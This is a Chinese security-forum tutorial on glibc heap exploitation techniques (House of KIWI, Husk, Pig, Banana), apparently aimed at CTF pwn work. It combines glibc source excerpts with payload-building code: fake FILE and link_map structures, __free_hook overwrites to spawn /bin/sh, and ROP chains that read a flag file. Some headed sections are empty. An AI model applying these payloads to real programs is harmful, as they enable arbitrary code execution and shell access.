高Glibc版本下的堆骚操作解析
本文为看雪论坛精华文章
看雪论坛作者ID:PIG-007
一
House of KIWI
1、原理分析
(1)rdi和rdx互相转换
plaintext
#注释头
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
plaintext
#注释头
mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]
plaintext
#注释头
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
plaintext
#注释头
mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]
(2)不同劫持
2、触发条件
//2.29
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
//2.29
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
3、适用条件
二
House of Husk
1、原理分析
printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec)
|
->__printf_function_table(spec)
//2.31 vfprintf-internal.c(stdio-common)
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep, mode_flags);
//2.31 vfprintf-internal.c(stdio-common)
(void) (*__printf_arginfo_table[specs[cnt].info.spec])
(&specs[cnt].info,
specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
&args_size[specs[cnt].data_arg]);
/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);
A. __printf_function_table = heap_addr
__printf_arginfo_table != 0
//其中__printf_arginfo_table和__printf_function_table可以对调
B. heap_addr+'spec'*8 = one_gadget
2、触发条件
3、适用条件
三
House of Pig
(https://www.anquanke.com/post/id/242640)
1、原理分析
(1)劫持原理
(2)Getshell原理
①函数流程
A.在_IO_str_overflow函数中会先申请chunk为new_buf,然后会依据rdi的值,将rdi当作_IO_FILE结构体,从该结构体中获取_IO_buf_base当作old_buf。
//2.31 strops.c中的_IO_str_overflow
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);//-------house of pig:get chunk from tcache
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
//-------house of pig:copy /bin/sh and system to _free_hook
free (old_buf); //-------house of pig:getshell
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
②劫持所需数据
所以如果在申请的new_buf包含为_free_hook,然后我们在_IO_buf_base和_IO_buf_end这里一段数据块中将system_addr放入,那么就可以将system_addr拷贝到_free_hook中。之后释放掉old_buf,如果old_buf中的头部数据为/bin/sh\x00,那么就能直接getshell了。得到以下劫持所需数据:
*(_IO_list_all) = chunk_addr;
(struct _IO_FILE*)chunk_addr->_IO_buf_base = chunk_sh_sys_addr;
(struct _IO_FILE*)chunk_addr->_IO_buf_end = chunk_sh_sys_addr+old_blen;
//2 * old_blen + 100 通常我们选取old_blen为0x18,那么计算得到的tc_idx为8
tcachebin[tc_idx] = _free_hook_addr-old_blen;
fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
#need copy '/bin/sh' and system from a old_buf to new_buf
fake_IO_FILE += p64(heap_base+0x003900+0x10) #set _IO_buf_base (old_buf(start))
fake_IO_FILE += p64(heap_base+0x003900+0x10+0x18) #set _IO_buf_end (old_buf(end))
#old_blen=old_buf(start)-old_buf(end)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable to _IO_str_jumps
2、触发条件
(1)Libc结构被破坏的abort函数中会调用刷新
(2)调用exit()
(3)能够从main函数返回
3、适用条件
程序只能通过calloc来获取chunk时。
四
House of banana
(https://www.anquanke.com/post/id/211331)
1、原理分析
//2.31 glibc/elf/dl_fini.c
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
(1)伪造link_map结构体
直接伪造link_map结构体,将原本指向link_map的指针指向我们伪造的link_map,然后伪造其中数据,绕过检查,最后调用array[i]。这里通常利用largebin attack来将堆地址写到_rtld_global这个结构体指针中。
#largebin attack's chunk
#*_rtld_local=fake_link_map_chunk_addr
fake_link_map_chunk_addr = heap_base+0x001000
edit(1,0x448,'\x00'*0x448) #empty the fake_link_map_chunk
fake_link_map_data = ""
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x20) #0 1
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr) #2 3
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x28) #4 5
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x50) + p64(fake_link_map_chunk_addr + 0x20)
#6 7
fake_link_map_data += p64(fake_link_map_chunk_addr+0x28) + p64(0x0) #8 9
fake_link_map_data += p64(0) + p64(0x0) #10 11
fake_link_map_data += p64(0) + p64(fake_link_map_chunk_addr + 0x50) #12 13
fake_link_map_data = fake_link_map_data.ljust(0x100,'\x00')
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x190) + p64(0)
#0x20 0x21
fake_link_map_data += p64(fake_link_map_chunk_addr + 0x128) + p64(0)
#0x22 0x23
fake_link_map_data += p64(0x8) + p64(0) #0x24 0x25
fake_link_map_data = fake_link_map_data.ljust(0x180,'\x00')
fake_link_map_data += p64(0x1A) + p64(0x0) #0x30 0x31
fake_link_map_data += p64(elf_base + elf.sym['backdoor']) + p64(0) #0x32 0x33
#set fake_chunk->pre_size
edit(0,0xd68,'\x00'*0xd60+p64(fake_link_map_chunk_addr + 0x1a0))
fake_link_map_data = fake_link_map_data.ljust(0x308,'\x00')
fake_link_map_data += p64(0x800000000)
(2)修改link_map结构体数据
修改对应link_map结构体中的数据,绕过检查,最终调用array[i]。这里就通常需要利用任意申请来申请到该结构体,然后修改其中的值,因为当调用array[i]时,传入的实际上是link_map中的某个地址,即rdx为link_map+0x30,这个不同版本好像不太一样,2.31及以上为link_map+0x38。
2.31
//docker 2.31 gadget
pop_rdi_ret = libc_base + 0x0000000000026b72;
pop_rsi_ret = libc_base + 0x0000000000027529;
pop_rax_ret = libc_base + 0x000000000004a550;
syscall_ret = libc_base + 0x0000000000066229;
pop_rdx_r10_ret = libc_base + 0x000000000011c371
setcontext_addr = libc_base + libc.sym['setcontext']
lg("setcontext_addr",setcontext_addr)
ret = pop_rdi_ret+1;
fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10
fake_rsp = fake_link_map_chunk_addr + 8*8
flag = fake_link_map_chunk_addr + 30*8
orw = ""
#fake_rsp_addr = fake_link_map_chunk_addr + 8*8
orw += p64(pop_rdi_ret) + p64(flag) #8
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
fake_link_map_data = ""
#set l_addr(0) point to fini_array
fake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0) #0 1
#set l_next(3) and *(l_next)=vdso_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5b0) #2 3
#set l_real(5) point to fake_link_map_chunk_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr) #4 5
fake_link_map_data += p64(setcontext_addr+61) + p64(ret) #6 7
fake_link_map_data += orw #8~25
fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00')
#for rcx push rcx
fake_link_map_data += p64(0x0) + p64(fake_rsp) #26 27
fake_link_map_data += p64(ret) + p64(0x0) #28 29
#flag_addr = fake_link_map_chunk_addr + 30*8
fake_link_map_data += './flag\x00\x00' #30
fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00') #30~33
#fake circle link_list
fake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0) #34 35
fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20) #36 37
2.29
//docker 2.29 gadget
pop_rdi_ret = libc_base + 0x0000000000026542;
pop_rsi_ret = libc_base + 0x0000000000026f9e;
pop_rax_ret = libc_base + 0x0000000000047cf8;
syscall_ret = libc_base + 0x00000000000cf6c5;
pop_rdx_r10_ret = libc_base + 0x000000000012bda4
setcontext_addr = libc_base + libc.sym['setcontext']
lg("setcontext_addr",setcontext_addr)
ret = pop_rdi_ret+1;
fake_link_map_chunk_addr = top_chunk_hijack+0x4+0x10
fake_rsp = fake_link_map_chunk_addr + 8*8
flag = fake_link_map_chunk_addr + 30*8
orw = ""
#fake_rsp_addr = fake_link_map_chunk_addr + 8*8
orw += p64(pop_rdi_ret) + p64(flag) #8
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_r10_ret) + p64(0x30) + p64(0x0)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])
fake_link_map_data = ""
#set l_addr(0) point to fini_array
fake_link_map_data += p64(fake_link_map_chunk_addr+0x20) + p64(0x0) #0 1
#set l_next(3) and *(l_next)=vdso_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr+0x5a0) #2 3
#set l_real(5) point to fake_link_map_chunk_addr
fake_link_map_data += p64(0x0) + p64(fake_link_map_chunk_addr) #4 5
fake_link_map_data += p64(setcontext_addr+53) + p64(ret) #6 7
fake_link_map_data += orw #8~25
fake_link_map_data = fake_link_map_data.ljust(26*8,'\x00')
#for rcx push rcx
fake_link_map_data += p64(fake_rsp) + p64(ret) #26 27
fake_link_map_data += p64(0x0) + p64(0x0) #28 29
#flag_addr = fake_link_map_chunk_addr + 30*8
fake_link_map_data += './flag\x00\x00' #30
fake_link_map_data = fake_link_map_data.ljust(34*8,'\x00') #30~33
#fake circle link_list
fake_link_map_data += p64(fake_link_map_chunk_addr+0x110) + p64(0x0) #34 35
fake_link_map_data += p64(fake_link_map_chunk_addr+0x120) + p64(0x20) #36 37
(https://github.com/PIG-007/pwnDockerAll)
2、触发条件
(1)调用exit()
(2)能够从main函数返回
3、适用条件
ban掉了很多东西的时候。但是这个需要泄露地址才行的,另外由于可能需要爆破一个字节,所以如果还涉及其他的爆破就得慎重考虑一下了,别到时候爆得黄花菜都凉了。
看雪ID:PIG-007
https://bbs.pediy.com/user-home-904686.htm
# 往期推荐
2. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析
6. 超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!